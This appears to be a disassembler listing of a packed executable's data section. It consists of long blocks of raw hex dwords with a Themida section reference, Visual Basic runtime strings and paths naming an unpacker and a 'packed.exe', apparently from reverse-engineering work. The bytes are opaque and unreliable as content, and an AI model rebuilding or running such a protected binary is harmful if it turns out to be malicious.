		dd 9F42A52h, 273569E1h,	81E684EDh, 0E9102D00h, 79ADF725h
		dd 0D721DE43h, 0E6848FC9h, 0AAC79A81h, 2389D842h, 0B7F0C388h
		dd 163E3B5Fh, 376B059Ch, 0E3D20B4Ah, 919FE92Bh,	81E68506h
		dd 86BC06D9h, 0E71B6510h, 0E67D9FD9h, 52CAAA81h, 0D71683ABh
		dd 0B1E53DBAh, 0DC447AC4h, 1E980421h, 0C1D2FAFBh, 7785CF4Dh
		dd 881DA82Eh, 499FEEC1h, 0A3132004h, 5F94C87h, 0F22B0000h
		dd 247CD40Dh, 5EC82059h, 8B126AA3h, 3E61B9F2h, 1116043Dh
		dd 0B4ED8E11h, 43DC05Ch, 518A77ACh, 9FD8A5F9h, 0E01A2836h
		dd 0EB7BA977h, 0F62CE23Dh, 24B4D1ACh, 63DB03FEh, 0BF0BE82Dh
		dd 6739B58h, 38C559E9h,	72039610h, 0AD48D04Ah, 69390585h
		dd 0B5ED7167h, 0B4ED880Eh, 0A9F42A5Eh, 8476B0D4h, 0B68981E6h
		dd 0DE934B99h, 0FC5F5E9h, 6C000000h, 0C8A0F62Ch, 4C69A855h
		dd 157FBh, 0F42A8600h, 0D684BA09h, 36520CE8h, 56AFBh, 7E039C00h
		dd 0CAABED45h, 14E93991h, 631883DBh, 0AE4FD22Ah, 80A08775h
		dd 0CB235C19h, 1B73AC51h, 68C0F986h, 0A50E4732h, 774F8997h
		dd 0AC5A7BA9h, 9F42A51h, 463367E1h, 2C76FA1Eh, 3D760397h
		dd 0E9DE6F27h, 3FA1F5h,	2C480000h, 9F5EC2F8h, 0E685417Bh
		dd 9AF60081h, 3E8C89A9h, 8597649h, 0E4h, 0A3F62C93h, 203DAAD2h
		dd 0D7CFh, 0DFED2100h, 81E684A5h, 4A3F3C61h, 931AE075h
		dd 8AC9E614h, 21FDE3Eh,	8C7B93ADh, 0E42E6D10h, 23896CD6h
		dd 7A9F7F88h, 5163E7Dh,	0DB9AFE09h, 0BD0746B3h,	0D475589h
		dd 0D47BA981h, 0CAB5C202h, 0B78A7FF6h, 3C51329Ah, 7A5A81E0h
		dd 8A0D5924h, 1554C1E9h, 0F32F76C6h, 0FD38540Ch, 49Bh
		dd 76AF4CCDh, 0C2FBFA1Eh, 0C45386Ah, 5B9469B4h,	0A6DF9C03h
		dd 68AF6FB8h, 0A2FA528Bh, 0D54AA2DBh, 397EF28h,	0C6D43D76h
		dd 0A9757EB8h, 88E3917Bh, 4F997B93h, 1DD32E41h,	6CB6EC88h
		dd 663B7491h, 76B112FEh, 0A2EC2B3Bh, 0E473A6Ch,	0AF75A1DEh
		dd 3AC75B7Bh, 9568BAF0h, 0CFACF36Dh, 9EF67390h,	0FB2F7974h
		dd 7DA556C5h, 75B2EC10h, 0EABD7BAFh, 242661CDh,	0B1000004h
		dd 7247012Ch, 8051CBFAh, 3ED23C63h, 7F4F1A9Ch, 2FF27C1h
		dd 63A84C3h, 0E5FBBEF8h, 0F5E88581h, 79CCC49Bh,	694B184h
		dd 230C8EF8h, 264E2188h, 0D11BF915h, 0E015E2C3h, 0ABFACD81h
		dd 0CF349A7h, 0DCDE1935h, 0E000003h, 5FB7F08Dh,	0AB033C39h
		dd 0F54D867Bh, 449CD5A6h, 0F9E720DDh, 0D2A3F62Eh, 22DB4199h
		dd 6F0C91E9h, 0BDB8DE36h, 0FF0D1B84h, 7BA974C5h, 93CF2AD8h
		dd 1B4F997Bh, 849FD9E7h, 475581E6h, 81E6850Dh, 85584D20h
		dd 899A0068h, 2D0D8823h, 85CF0EEFh, 0F52ECB4Fh,	547C799Dh
		dd 8471A6DCh, 4CCE4067h, 841DF402h, 174D81E6h, 9CD5F28Fh
		dd 7E547FC9h, 8E5931DFh, 2D63F10Eh, 7BD30CE9h, 21325A27h
		dd 0D7E52FEDh, 881CE00Eh, 61BF0EE1h, 3B132081h,	345E41Fh
		dd 26770000h, 50C82059h, 82146CA5h, 3F5EB6EFh, 6AAD053Eh
		dd 0C5625089h, 393A5Dh,	508974A8h, 9DD6A3F8h, 0EB24D145h
		dd 2C667482h, 3F7BA975h, 0F42A3691h, 206A6D07h,	241028Ch
		dd 3F3A60DAh, 25F71706h, 8576A5DBh, 0B7CCDA68h,	63881D56h
		dd 26E7212Fh, 1FF27BAFh, 0ACF6C902h, 0B0D9FD81h, 0DB3E9096h
		dd 0B8FDB1Ah, 0BCD9466Eh, 0CBC0FE50h, 8F917BAEh, 253AF213h
		dd 73DEFB2h, 53C0E895h,	4CD736h, 2C7E0000h, 7AA2C701h
		dd 0CAD80A2Eh, 81E64490h, 6C89C89Bh, 3240C945h,	81E644F8h
		dd 0A7F13003h, 19DA3D73h, 572477F1h, 3693FB18h,	89881D65h
		dd 0FE3C8EB6h, 0CF7BAF25h, 7E7B4A75h, 0B12BFC2Eh, 0C1445E94h
		dd 0EFB2C509h, 0C63Bh, 0F42AE200h, 3067E109h, 34CEF943h
		dd 0FE91E716h, 45BD2946h, 39C90311h, 1D481E6h, 759263B5h
		dd 7AC4B1E5h, 39FE3846h, 3E1181E6h, 0E73BB521h,	29AD01Ah
		dd 0C9E6537Bh, 8BCBF64Ch, 14E93371h, 0CBC316D3h, 2DA46AEh
		dd 207681E6h, 90C61C55h, 0B8076906h, 7A68C5BAh,	89A6133Bh
		dd 0B0D8A5F9h, 63AD6F9Fh, 1CCE1C55h, 0C74F2F88h, 0C3B2EB2Ah
		dd 717FC94Bh, 81E86BA6h, 0E61C6639h, 3189C2B3h,	58BE0DEEh
		dd 3E0CF750h, 1E9E722h,	821B0000h, 346CC4FDh, 6EB81049h
		dd 9B025A93h, 0CE51A9E2h, 2106F42Dh, 0A4DD9E01h, 0F42DD04Ch
		dd 417A079Ch, 8FC8B5E9h, 0D00A1826h, 0DB7BA972h, 0F72AD22Dh
		dd 2175CD06h, 2CFE1B54h, 563AA301h, 708D79D8h, 0D44AC549h
		dd 55940129h, 95A3D70Bh, 81E5B55Bh, 43519B6Eh, 81E5B509h
		dd 0BC244114h, 881CD45Fh, 23759D70h, 7BAEB5E5h,	17EEB4B6h
		dd 0EFB2135Fh, 0D291h, 0BDCBFF00h, 7BAEA983h, 51A6C396h
		dd 0F0FEF42Ah, 81E684B6h, 6DB7F6C9h, 0F916E337h, 0EF8C138Dh
		dd 8A0975C7h, 1C4781E6h, 88FBFE7h, 95D6436Bh, 486572B0h
		dd 7E8C62B8h, 81E5AE44h, 0B3DB9600h, 3F7E5146h,	8D68AE06h
		dd 63B7ED65h, 0BC527996h, 0CD06145Eh, 0DE881CD7h, 2BE3D20Bh
		dd 67919FE9h, 7281E836h, 0F81F559Fh, 5CC1AFEEh,	0E821609Fh
		dd 0BB6A0990h, 78AC6EDAh, 5DF525Fh, 9EDD5328h, 0CD24105Fh
		dd 0E2FE0CF7h, 0E6A7h, 0FA871800h, 463769C1h, 906DB50Dh
		dd 0DF9CFF57h, 2ACB4EA6h, 0FC2403F1h, 479FD8A5h, 97EF28D5h
		dd 0E43C7502h, 218AC3BEh, 71CB0513h, 30DE7BA9h,	6F72AD5h
		dd 542175CDh, 8391C51Bh, 81E68549h, 0ED358154h,	2A9EF310h
		dd 67E109F4h, 1E0D4633h, 0F48115F0h, 0D6205FCCh, 23896AC8h
		dd 82AA7D88h, 0B548D40Ah, 7303208Dh, 0F746502Fh, 0D51720F9h
		dd 80164C96h, 55BD8F5h,	5189C3D1h, 0C1947BA9h, 0F38E14A4h
		dd 0F51D53CBh, 4663D0F8h, 1E16A6DEh, 6B37B584h,	1E2CC258h
		dd 739C8EE4h, 0ACE524F7h, 0B6EC2256h, 1236A3CBh, 739C8ED8h
		dd 0E19E03E3h, 37C656A2h, 67148A1Ah, 15C0510Dh,	638BCAE7h
		dd 0A1C9B2E9h, 7C475B1Bh, 0ADF55926h, 0C0870BA8h, 0AAF04881h
		dd 0C6CA7CFh, 0F7000000h, 3C49012Ch, 340F7FFCh,	2A898E17h
		dd 6AE40CF1h, 0A7214934h, 0E35D8572h, 229CC4B9h, 5CD6FEFFh
		dd 961038C5h, 0D44E7607h, 0D87AF42h, 31C2EA8Bh,	55E38953h
		dd 0B0153DBDh, 81D5F758h, 0B01542C5h, 5DEB0158h, 8704EB83h
		dd 685C241Ch, 50FEh, 68240489h,	134Fh, 56243489h, 4D55AC68h
		dd 0EE815E53h, 0FFFFFFFFh, 0AFD2C681h, 0F089B2EFh, 4EC815Eh
		dd 89000000h, 4832424h,	685E0424h, 1C0h, 8F240489h, 34FF0846h
		dd 0C4815E24h, 4, 582434FFh, 4C481h, 2E90000h, 10FFFB35h
		dd 0B8686A29h, 63D141Dh, 0E0FFC503h, 177C17DCh,	346A723Fh
		dd 0FB39006h, 32F6B63Dh, 511D3FEFh, 69A4BB1Dh, 21256212h
		dd 214299B6h, 405B158Eh, 5D9ECAE9h, 2F71A6F2h, 0AFD7BB4h
		dd 5CEFDE0Bh
dword_59E120	dd 15478D8Dh, 8589063Dh, 6373081h, 34E38166h, 758D89DBh
					; DATA XREF: Themida_:0053FCD0o
		dd 0F063718h, 85C7C7B7h, 6371195h, 5B70h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 77C35040h, 0C96C8C5Ch
		dd 7B04CE23h, 0F1B53153h, 5F063717h, 0F8185C7h,	637h, 0CB800000h
		dd 0A5B5FF9Dh, 6606371Bh, 95FFD88Bh, 6371291h, 6AF1BF0Fh
		dd 1995FF00h, 8B063732h, 0EA29EBC0h, 0CB20936Fh, 4FE862B4h
		dd 255B1C1Ch, 0B55F899h, 0AD11679Dh, 494ECF8Ch,	0CA84F5BCh
		dd 1DAFEC00h, 99179E52h, 0AF5BBE5Ah, 0EF5F04EBh, 0B8E94FFEh
		dd 0DD000005h, 0A9644497h, 7631115Ah, 4904E429h, 18D3B3F8h
		dd 0F8A383C6h, 0D91C6E08h, 0AAF33EF9h, 78BF0FCAh, 4A91DD98h
		dd 0E500E66Ah, 0E71ED9E5h, 5D655986h, 303CA11h,	9B3662B1h
		dd 4571AF2Fh, 235D6C5Eh, 0AED9FFE1h, 14F43789h,	0FFC60D59h
		dd 0B87FC612h, 6C337CCBh, 68C4E2BEh, 27F5D51Ch,	29549DE8h
		dd 8D6DB404h, 743B82D2h, 2CF33C87h, 0E0A7F03Fh,	945BA4F3h
		dd 71FA18D8h, 5DB9D797h, 33AFE30Dh, 0C3177A4Ah,	334E078Eh
		dd 265E1C9Eh, 0F83F8B46h, 44B9BDAh, 662FF8D9h, 0C1E1236Ah
		dd 0A988C9E7h, 0D7362932h, 82h,	0E7115DA5h, 1A291850h
		dd 0C78EC6AFh, 23A6B2FEh, 5A998DE1h, 0EFBC20Bh,	154078BDh
		dd 2B6AD9F7h, 606A95DAh, 3628F6D1h, 0DA2372B1h,	0B75AFh
		dd 0E8270000h, 738D549Dh, 0A8D31668h, 0C50E5D8Ch, 0D01968A7h
		dd 6253BBB5h, 1540EDE4h, 0DCF84734h, 0F4124A8Fh, 561D66B5h
		dd 4330113Ch, 38E6ADF2h, 90CF3E5Ch, 0ADD2FD44h,	36142F5Eh
		dd 0B5E12359h, 0BC77578Fh, 0BF065670h, 0C39036A4h, 2A62B2BAh
		dd 0B5D984Ah, 1C6BAAC8h, 0BA0F0CD3h, 0D75D8F63h, 0D3B4DF17h
		dd 874E97E6h, 3C034A9Ah, 0AFBAFD4Fh, 9B551C63h,	7130B9D7h
		dd 0AFEE5D7Bh, 0C9EE195Eh, 99543477h, 0A0E7334Dh, 67B4A168h
		dd 1D6E5B22h, 0D52411D8h, 0EE266DB9h, 8DAB6B27h, 5AA9D104h
		dd 1D6E86E5h, 0C2F7BDD8h, 0FAD0EB09h, 69E1234Eh, 0DCFA1843h
		dd 290CA69Bh, 0ADDA36h,	4D8C0000h, 5DADB8FBh, 0A354F16h
		dd 0C80B5DEEh, 0AFC71401h, 7BA9375Dh, 1642550h,	0C41502C9h
		dd 669EB87Fh, 0DDB9672Eh, 0CE1163BFh, 96E120EEh, 0ABFD224Dh
		dd 0BA0B4A68h, 76C1AE75h, 144C662Dh, 470B5EF9h,	6792A94Ah
		dd 0F8478686h, 0E5F84AFh, 0C5ED02C9h, 0C3EE3786h, 0FB4687A5h
		dd 853628F4h, 72h, 0C80B5D53h, 3B55BAAh, 7DBC8CA4h, 822E932h
		dd 0B397B2D0h, 30E123B3h, 11FEDF0Ah, 0A63C97C1h, 0FFAADD25h
		dd 0A30B00C7h, 0A5143651h, 0B1D7E123h, 0EE4A6886h, 0E93B599Ch
		dd 23A5FCCEh, 1E496FE1h, 0A7075624h, 0BE429A5Bh, 5DD7F31Eh
		dd 35FEC50Eh, 0E123CC68h, 0A084D3C7h, 5CC39927h, 3889829Dh
		dd 27704B82h, 7FC0DEFCh, 36291FB2h, 1CEh, 105D9C00h, 265C5DE8h
		dd 7681D85Dh, 0FF19E025h, 0C10000C7h, 22284372h, 0C1E123A7h
		dd 829C639Bh, 9FE63257h, 0F3421CD8h, 0BB43E556h, 96A17E89h
		dd 0A983223Dh, 0F816345Fh, 72274F9Ch, 34C97A1h,	0FB07223Ch
		dd 0C1EABEDAh, 0EC8CE23h, 0F0BE9ED6h, 0F01B60B1h, 4D6B4195h
		dd 59A6BC0Eh, 0FB15DC14h, 0CC7D98D0h, 42E75A2Ah, 5E19BBF3h
		dd 9AC5B169h, 5964B3BFh, 0D4AD2236h, 43A8A289h,	153BE714h
		dd 0D71616DDh, 5F794087h, 7CC30F34h, 37B10F5Eh,	0D0DA1488h
		dd 0A4F0ABA5h, 0BDF5388Ah, 1756509Fh, 8236CBBh,	0DB06D35Eh
		dd 586731FAh, 3282E714h, 0E63724EBh, 5C20DAA1h,	54A2B53Eh
		dd 478EDA36h, 1960AC67h, 0D2196552h, 1B5A6A0Bh,	0A6C087D0h
		dd 0E33F5D7Bh, 0F3325097h, 7B955CA3h, 7BB65650h, 53C6020h
		dd 163h, 0A03868B7h, 3DF9A3C1h,	0D327F612h, 0A3C4DFFDh
		dd 38E75AFAh, 125E4B12h, 0CE1DEBCBh, 0A5F6B805h, 0E90E3950h
		dd 0E531709Dh, 0DF93B79Eh, 2A50E714h, 4BE5760Fh, 0D45A397h
		dd 0B5074646h, 0CF186772h, 9EC3EE08h, 0AEED0B52h, 0AFF2445Eh
		dd 0CF96CEE8h, 4E7C97B5h, 1DE71493h, 4AEBCCF7h,	88C73654h
		dd 0A2C7F237h, 3C0E2956h, 0AFE71493h, 0D1715189h, 3C5FEB60h
		dd 4E20h, 0FB4AEE00h, 4F55E1A4h, 0B6691C9h, 0ABC6E4C2h
		dd 0E123B74Fh, 0AFAF769Ch, 0B2DD2470h, 23B699B1h, 65533E1h
		dd 4B244A5Bh, 4A68934Bh, 73519A2Ch, 62B40355h, 63789787h
		dd 0E2181944h, 1E12312h, 0EE2DFBDBh, 7892599Ch,	9D264Dh
		dd 27CE0000h, 48CA1AD3h, 0CB6D31B3h, 197CE0B0h,	43CFC60h
		dd 12A2CBE6h, 0A3C9E75Ah, 5CA3EFDCh, 2E75C17Ch,	2CD79E67h
		dd 7ACAE714h, 2F7F6C33h, 8A8021E8h, 7ABF106Ch, 4E6199B3h
		dd 3A86E200h, 2DD8F20Dh, 0F641E714h, 8EC6ECADh,	9369BDAEh
		dd 3835A75h, 0BAE0E157h, 73BA06F3h, 0D716F0ACh,	647E458Ah
		dd 381F2B46h, 0A6CCE129h, 0AD3F5D7Bh, 16658359h, 0FFF51904h
		dd 0A3668107h, 59345CF8h, 53A5DD08h, 537EC314h,	6A188B52h
		dd 6CCFD8E7h, 0BBBAE5AFh, 400EEE26h, 0A46BB001h, 27435F8Ah
		dd 0C4DFFDD3h, 0E760E275h, 9C895076h, 6E290950h, 4B14DB22h
		dd 2CDAD571h, 86F513EFh, 0E8AFF847h, 327EA3CEh,	4500BEBh
		dd 0B809F6BDh, 0B1035573h, 0DD2DB496h, 2A1137AEh, 0AEDD2D20h
		dd 91729DC3h, 88F715D5h, 86B1FA49h, 0EECE1561h,	0D9A0E733h
		dd 17EAh, 0F84A9200h, 5D2467B9h, 0CC6E5C43h, 0D7FDE123h
		dd 54452ACh, 2A4671BAh,	0FDC4175Dh, 0B67DC410h,	6B3279C9h
		dd 23EA337Eh, 0DAA1E436h, 91589BEDh, 470E53A4h,	1C80D5Ah
		dd 0B57CC514h, 8FC68C3h, 8F540000h, 4812404h, 424h, 71EA6800h
		dd 34890000h, 0E7895724h, 4C781h, 0EF830000h, 243C8704h
		dd 2404895Ch, 3D158068h, 24348B06h, 4C481h, 8B540000h
		dd 0C4812404h, 4, 89F38953h, 1C8B0858h,	4C48324h, 582434FFh
		dd 0FF04C483h, 815E2434h, 4C4h,	6330E900h, 4BBDFFFAh, 0C73A4DA2h
		dd 768E0D11h, 0B822AFEBh, 63D1AC6h, 0E0FFC503h,	7FDEFF26h
		dd 625E6F84h, 149788CDh, 15CE9h, 0E705C500h, 5C3A4377h
		dd 6E755F6Dh, 6B636170h, 70007265h, 656B6361h, 78652E64h
		dd 65h,	3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 0C4h, 0B4h, 0EBh
		dd 1C1DE97Bh, 0C7680000h, 0E9063D1Eh, 0FFFA619Eh, 3D1FF168h
		dd 6194E906h, 5A68FFFAh, 0E9063D21h, 0FFFA618Ah, 3D222368h
		dd 6180E906h, 6A68FFFAh, 0E9063D22h, 0FFFA6176h, 3D233568h
		dd 616CE906h, 9468FFFAh, 0E9063D23h, 0FFFA6162h, 3D23DE68h
		dd 6158E906h, 0D768FFFAh, 0E9063D2Ah, 0FFFA614Eh, 3D2B5968h
		dd 6144E906h, 4368FFFAh, 0E9063D2Ch, 0FFFA613Ah, 3D2D6C68h
		dd 6130E906h, 0C868FFFAh, 0E9063D2Dh, 0FFFA6126h, 3D2E9368h
		dd 611CE906h, 3268FFFAh, 0E9063D2Fh, 0FFFA6112h, 3D2FB968h
		dd 6108E906h, 0E168FFFAh, 0E9063D35h, 0FFFA60FEh, 3D36CE68h
		dd 60F4E906h, 7768FFFAh, 0E9063D37h, 0FFFA60EAh, 7353A6ECh
		dd 402069B8h, 13F33885h, 0E2C20758h, 0B292D527h, 2B7D3907h
		dd 24D08E8h, 0CE1ED9B9h, 0A0ECA787h, 0FF57959h,	1ED1D6F4h
		dd 746895E7h, 0A5F7115Dh, 0C4FC438Fh, 8CD8C58Ch, 20746545h
		dd 1C112C4Ah, 0D7E75AE5h, 934493B1h, 4A658Fh, 0E3E71489h
		dd 0D04CA2BDh, 1C1CFD28h, 5BDEF2CDh, 0FCAAC50Ah, 0BCBDE8B4h
		dd 0E714DCF2h, 7ABBD9E7h, 3C5F98B7h, 2FC9h, 0D3279700h
		dd 0DBC4DFFDh, 0E75AECh, 2B7DBCDAh, 13DCBDE8h, 0E714D34Bh
		dd 0A9C4163Eh, 0E714D3A1h, 0D3F11C42h, 0ABBD74B5h, 1BC33C5Fh
		dd 91000001h, 77C00B4Ah, 0CC0C3E59h, 0B9DFE123h, 0D61D698Eh
		dd 0E42779B8h, 0F7D8031Dh, 2168B8F7h, 3C7FD1F6h, 4C93DF1Eh
		dd 5F406B85h, 0C10C2672h, 8C794078h, 8219F940h,	0E123D180h
		dd 5CFC3786h, 1598F425h, 1B467EC5h, 8363AAF6h, 24863B5h
		dd 0E1E123F7h, 1F6B90BBh, 2E7BBAD8h, 0DD0822E9h, 0DC85D9FCh
		dd 6680478Ah, 0E8F5102Eh, 53E75ADCh, 307F4D2Dh,	0B31F99EAh
		dd 35E8909h, 69BBD9AFh,	0AE95D82Ah, 0E714069Ch,	0C6FE294Fh
		dd 6AB797ABh, 102E54E1h, 5C3C7FD1h, 0B264FA1h, 0E12DB73Fh
		dd 0CCD1062h, 0B3E3AEE6h, 3C3FC249h, 19659685h,	50960000h
		dd 13621DFDh, 0E22FEACAh, 0B102BD9Dh, 7FD18C6Ch, 0D3B15C3Ch
		dd 0B292D527h, 8363ACF7h, 513178C8h, 23034A96h,	0AC9EB99Fh
		dd 3FE71ED2h, 0B4A1E12h, 0E57A6BEh, 0D2220FD6h,	72AAC48Bh
		dd 0A7D02247h, 23CCBE8Ch, 4D92E3E1h, 85AB6C86h,	66B26D4Dh
		dd 75C2011Fh, 344F6930h, 0DE9DE47Ch, 8D87B269h,	431470BFh
		dd 95EEDBEDh, 0D3274E6Ah, 4E8DDFFDh, 95B5D0FFh,	56E123CCh
		dd 1731F830h, 0EC82EBECh, 0B0A9E75Ah, 1CE31B5Eh, 14D30B53h
		dd 2857A6E7h, 14D33D0Dh, 5088AEE7h, 44D9C89h, 88A69C3Dh
		dd 0A0BECCFFh, 5FABD25Fh, 0E0AE3Ch, 4A7C0000h, 1C6F6DFBh
		dd 588306ABh, 0D9A0E733h, 32719AECh, 91B9A0E5h,	52E12309h
		dd 2D2DF42Ch, 5C6E89DBh, 0FE12309h, 9C802E9h, 929BE123h
		dd 0C3499470h, 0BAE51DDEh, 23C059B9h, 0ADF440E1h, 0ACC612CDh
		dd 1BE21A5Fh, 0B0CEA4F8h, 5AF28895h, 6D4D73E7h,	3452287Ch
		dd 6A744619h, 59779DE1h, 7ADDB807h, 2D1EF146h, 488BDD02h
		dd 185BAD68h, 0C2F3674Dh, 3A29E03Fh, 183Bh, 0F3D3266Ch
		dd 0C0A0E938h, 9373B805h, 624287D8h, 321255A7h,	0ABFDB987h
		dd 82CD8868h, 4E9E5939h, 206C2707h, 8F75F9D9h, 1ED35674h
		dd 0F4E815E7h, 9B6DFB4Ah, 7B96DB2Ch, 0E8386371h, 88C0DAA1h
		dd 0A3E6385Dh, 66B6F5C3h, 233E581Fh, 9F8A926Fh,	0FB204BEFh
		dd 0B4A68AFh, 19F295BFh, 0EB8271EBh, 0A7D2ECB3h, 115DFBADh
		dd 647FAAF7h, 0E123CC66h, 6FA7DF05h, 286FBBA8h,	0EB3B7A48h
		dd 0A5C3DDA4h, 23CC408Ah, 0D2FD23E1h, 2F4D2377h, 84D9EDDh
		dd 0DE13DCDDh, 0D2F8E75Ah, 0DD74420Bh, 5F6DE714h, 9A310041h
		dd 0D4F3C5Fh, 1D000001h, 0EA3E539Ah, 0E6ADF641h, 0A777B1CCh
		dd 9FCBC38Eh, 0DCF74967h, 0E123CBEEh, 0CBC50520h, 80A6E123h
		dd 2F76C6BFh, 0EB164E68h, 0E80798B3h, 0B6DCE75Ah, 51DEBA5Bh
		dd 51A5B389h, 0B90B5D7Bh, 8E4EAC9Eh, 0EE193F33h, 0F76DE8EDh
		dd 0B9D42635h, 35B96D91h, 0CF212C52h, 8D86618Ch, 8FD6223Eh
		dd 75909057h, 35B96D55h, 80B8F016h, 0D5F51062h,	9635B96Dh
		dd 41644570h, 0BAF917EDh, 605D2469h, 3210E28h, 7AA5DD24h
		dd 0D9252742h, 226133C4h, 0AEC88FD6h, 4A1156A3h, 312A0530h
		dd 0E9D69DE6h, 748E559Eh, 20B2213Ch, 833469ABh,	0A2EE2D4Bh
		dd 74C07B5Bh, 0FD78622Dh, 4A01ED6Ch, 16D25Bh, 6ABD0300h
		dd 3780CF8Ah, 0A4F9C57h, 0D91E6F2Ah, 0A9EC3EF9h, 94261EC9h
		dd 641FFF42h, 35F0D019h, 3BE9EE5h, 0C9070B7h, 0ED3F0B26h
		dd 7FACE71Eh, 0CA115D8Bh, 0B68CE003h, 72114998h, 0E38B7BE8h
		dd 986580B8h, 26E75AE4h, 244F98E7h, 91432349h, 0EA3E539Ah
		dd 89A4F614h, 0E123CC41h, 99D1FC22h, 5AEFF97Eh,	0F14C72E7h
		dd 7BE50850h, 72BFFE6Eh, 2E4C662Dh, 3C143713h, 638EB460h
		dd 0C0DEB408h, 453790A5h, 5E254B66h, 8ACD1F5Eh,	237EA9C3h
		dd 92516CFh, 251B5916h,	816EB80Ah, 87BF7325h, 0AC7A4E69h
		dd 0CBF16076h, 0CF1C5BADh, 7EA9C38Ah, 0A8C60D59h, 0FD61D69h
		dd 15D0CAF5h, 5B782C9h,	0CEBEDED2h, 16092817h, 0F43A0000h
		dd 0B706C1A1h, 86D38E6Eh, 55A66141h, 23753010h,	6F5500E0h
		dd 563679CBh, 2707509Bh, 0F5D51C6Ch, 0C7A7EE3Ah, 8425D43h
		dd 0DBE71EEEh, 115DBAAEh, 0CC81C9E4h, 3C62E123h, 32BD3904h
		dd 9F563FCCh, 15C2B0h, 5AADF300h, 2770BF7Ah, 0FA3F8C47h
		dd 0C90E5F1Ah, 99DC2EE9h, 84360EB9h, 540FEF32h,	25E0C009h
		dd 0F3AE8ED5h, 0FC8060A7h, 0EECFFB16h, 6F9CE71Eh, 0CA115D7Bh
		dd 1BB40303h, 0E9BA0056h, 78CC2752h, 1397ECFh, 43A7C8E3h
		dd 163CE75Ah, 153CA9F8h, 0A8FAA1C5h, 0B1DC145Dh, 0CEC339B7h
		dd 3786A47Ah, 0F3C10C58h, 0AAE20D0Bh, 6D500E8Fh, 64BFE5E1h
		dd 0CC1849C3h, 15BE127Dh, 9DB77EC5h, 37FE4792h,	88C7E51Dh
		dd 8FD6223Ch, 0B7FA4C57h, 73ABD6F0h, 4C91E221h,	3F406B85h
		dd 7BF2CA3Eh, 0C8C88FB5h, 0DA522379h, 3A65D199h, 97B58BDFh
		dd 0C1AA487Ch, 0DFFD237Dh, 0B9FC4E8Dh, 0D61D698Eh, 0A8EF3BF6h
		dd 69D4DFDDh, 2F1A8A3h,	14F7h, 0AF8FE228h, 7C5CA5F4h, 4F2F74C1h
		dd 1EFE4394h, 0EECE1163h, 67B97D43h, 3E894424h,	0A5A15F5h
		dd 0DC28E3C3h, 4B31B595h, 1EEF1A30h, 0A89CC9E7h, 23CC4981h
		dd 0DCAAF4E1h, 236BE123h, 0E2E123CCh, 0E123CC94h, 80CFE935h
		dd 2A737037h, 0CF31CFF7h, 0B07BB3EBh, 3FCCBE32h, 9805F4ABh
		dd 0C9000014h, 95503083h, 621DFD46h, 35F0D015h,	4BF9FE4h
		dd 0E48F6FB2h, 0C5085A1Ch, 96DF2AE5h, 64ABFBB6h, 367DC984h
		dd 0D1ECD256h, 0E71EEFF9h, 27493D6Ah, 94D92AD3h, 72233E5Ch
		dd 69E75AFFh, 9C7843h, 3EF539FBh, 144E4Fh, 0E6397F00h
		dd 0B3FC4B06h, 86CB18D3h, 559AEBA6h, 2568BA75h,	10AA9A45h
		dd 0E09B7BBEh, 0B16C4C95h, 7F3A1A61h, 880CEC33h, 0EF4387A2h
		dd 0F320E71Eh, 0F7115DFFh, 7E985FA8h, 46927F46h, 0AF8938FFh
		dd 88E15091h, 389F3628h, 6D000000h, 77C00B4Ah, 6A6B96B0h
		dd 0E123CC1Ch, 0C2A71BDh, 9D366CBDh, 65B1D3A8h,	53D571Eh
		dd 1F49E0DAh, 4DE17FB0h, 13D99786h, 0E4230000h,	718B5297h
		dd 8CF1666h, 4AA7C3EEh,	8FFF9AFBh, 22DD477h, 834A91DDh
		dd 18360C60h, 5AA490FDh, 0B595BBE7h, 7C9A70C4h,	6DA82861h
		dd 58FDEE1h, 6565FC1Dh,	5BA2EEF9h, 744F7A94h, 1EE52A7Bh
		dd 505CC04h, 693075C6h,	0AEF3444Fh, 0CC115E83h,	0D20855ECh
		dd 5796E123h
		dd 759AC50Ah, 78BD0A26h, 7F5F97B1h, 0DD2072B1h,	0F53E8DB2h
		dd 0A9F2412Eh, 2D4B41E2h, 593982D1h, 28AA78B9h,	1E80836h
		dd 27D60000h, 8DDFFDD3h, 0FD6FC4Eh, 0A522F0A4h,	565782BAh
		dd 0E75ACDC1h, 98B2FE3Dh, 2C90148h, 4992DDE8h, 0FF1D431Eh
		dd 7586EC0h, 7E5F8AC2h,	19F94291h, 0FFC60F5Eh, 2B6EC0FFh
		dd 0FCD8F20Dh, 658BE714h, 0EC6D393Ah, 3684E714h, 516DBC18h
		dd 0D0B4DB05h, 0E250FEA5h, 0AAF6E3AAh, 4A829C63h, 0ED413212h
		dd 55A7F917h, 14D8103Ah, 82ADD3E7h, 6DE57C81h, 344B9AE1h
		dd 219C0561h, 413A1540h, 8059C6F2h, 0F4FF18A2h,	0D0BD84BCh
		dd 0A05B3B7Eh, 0AEED0B4Eh, 0DEE195Ch, 23867844h, 254391E1h
		dd 543477C9h, 3A014A99h, 0EEB5FE4Dh, 0DD39574Dh, 6445F8Eh
		dd 0E5E12386h, 1A6987BFh, 1B19EB20h, 0C0BAE57Ch, 28AC1120h
		dd 4D6F36h, 4A3D0000h, 0CCEDDDF8h, 587EE123h, 0A0B6082Dh
		dd 0B5D30B4Eh, 0B5E02576h, 6F95E7D4h, 0CBF65603h, 985F97A1h
		dd 5CA8E7F7h, 0AECCEA15h, 9FBD0052h, 0A2CD1460h, 0F12908A8h
		dd 7593628h, 6D347DC8h,	0BC5E6C53h, 0E70DE123h,	0D082BCh
		dd 27500000h, 8BD817D3h, 0CC6B5F46h, 62AEE123h,	793A541Bh
		dd 0E2FD1B53h, 0E75AFACDh, 0CCB980A6h, 0D716347Dh, 627C438Ch
		dd 206F3D37h, 0D9D2BED9h, 0C5EA1565h, 79662D76h, 84C3E12Ah
		dd 0D27EE33h, 6A6001E2h, 238EDD4Ch, 0B61F1C48h,	509FC4EFh
		dd 0AA872707h, 0D83C5FFDh, 0C884F189h, 3964A5B8h, 60FFh
		dd 0D127CD00h, 58C2DDFBh, 8BE123CDh, 0CC66647Fh, 0C05E123h
		dd 43C74BDh, 0B93497E6h, 0DFA6ED3Dh, 0F5A6AAC5h, 35063C5Fh
		dd 0D00868F4h, 0B3FBC4A5h, 7FE12326h, 0F332A1BFh, 6D5D78A1h
